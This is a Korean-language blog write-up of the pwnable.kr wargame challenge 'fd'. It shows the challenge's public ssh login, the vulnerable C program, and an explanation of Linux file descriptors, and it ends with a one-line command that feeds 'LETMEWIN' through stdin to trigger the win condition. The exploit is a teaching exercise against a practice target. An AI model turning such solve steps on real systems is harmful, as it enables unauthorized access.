'Security > Wargame' 카테고리의 다른 글
[Write-Up/Pwnable.kr] Toddler’s Bottle - collision (0) | 2015.07.29 |
---|---|
[Write-Up/Pwnable.kr] Toddler’s Bottle - bof (0) | 2015.07.11 |
[Write-Up/Pwnable.kr] Toddler’s Bottle - random (0) | 2015.07.08 |
Mommy! what is a file descriptor in Linux?
ssh fd@pwnable.kr -p2222 (pw:guest)
GNU bash (version 4.3.11)
fd@ubuntu:~$ ls -al
total 32
drwxr-x--- 4 root fd 4096 Aug 20 2014 .
dr-xr-xr-x 44 root root 4096 Jul 5 07:52 ..
d--------- 2 root root 4096 Jun 12 2014 .bash_history
-r-sr-x--- 1 fd2 fd 7322 Jun 11 2014 fd
-rw-r--r-- 1 root root 418 Jun 11 2014 fd.c
-r--r----- 1 fd2 root 50 Jun 11 2014 flag
dr-xr-xr-x 2 root root 4096 Aug 20 2014 .irssi
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
char buf[32];
int main(int argc, char* argv[], char* envp[]){
if(argc<2){
printf("pass argv[1] a number\n");
return 0;
}
int fd = atoi( argv[1] ) - 0x1234;
int len = 0;
len = read(fd, buf, 32);
if(!strcmp("LETMEWIN\n", buf)){
printf("good job :)\n");
system("/bin/cat flag");
exit(0);
}
printf("learn about Linux file IO\n");
return 0;
}
이 문제는 리눅스 파일 디스크립터(File Descriptor)에 대한 기본 지식이 있는가를 묻는, 아주 간단한 문제이다.
int fd = atoi( argv[1] ) - 0x1234;
int len = 0;
len = read(fd, buf, 32);
if(!strcmp("LETMEWIN\n", buf))
이 부분을 살펴보도록 하자.
가장 먼저, argv[1]
의 값에서 0x1234
를 뺀 뒤, 그 값을 File Descriptor 역할을 할 int형 변수 fd
에 저장하게 된다.
그 뒤, len = read(fd, buf, 32);
에서 fd
를 통해 총 32Byte의 글자를 buf
변수로 가져오고 나서 if(!strcmp("LETMEWIN\n", buf))
를 통해 buf
안에 들어있는 문자열이 "LETMEWIN\n"
일 경우에만 문제를 풀기위한 조건이 충족된다. 자, 그러면 어떻게 "LETMEWIN\n"
을 입력할 수 있을까.
여기서 한 가지 생각이 들었다. File Descriptor에는 표준 번호라는 것이 있다. 어떠한 프로세스에서도 미리 예약된 번호인데, 이를 통해서 입력을 받을 수 있다. 표준 번호들은 다음과 같은 것들이 있다.
1 : Standard Output (stdout)
2 : Standard Error (stderr)
이제 문제를 풀게 위한 모든 것이 갖추어졌다. 0x1234
를 argv[1]
에 넣어준 뒤, LETMEWIN을 입력하면 된다. 다음과 같이 입력하면 Auth Key가 나온다.
(python -c 'print "LETMEWIN"';cat)|./fd `python -c 'print(0x1234)'`
fd@ubuntu:~$ (python -c 'print "LETMEWIN"';cat)|./fd `python -c 'print(0x1234)'`
good job :)
mommy! I think I know what a file descriptor is!!
[Write-Up/Pwnable.kr] Toddler’s Bottle - collision (0) | 2015.07.29 |
---|---|
[Write-Up/Pwnable.kr] Toddler’s Bottle - bof (0) | 2015.07.11 |
[Write-Up/Pwnable.kr] Toddler’s Bottle - random (0) | 2015.07.08 |
일 | 월 | 화 | 수 | 목 | 금 | 토 |
---|---|---|---|---|---|---|
1 | 2 | 3 | 4 | |||
5 | 6 | 7 | 8 | 9 | 10 | 11 |
12 | 13 | 14 | 15 | 16 | 17 | 18 |
19 | 20 | 21 | 22 | 23 | 24 | 25 |
26 | 27 | 28 | 29 | 30 | 31 |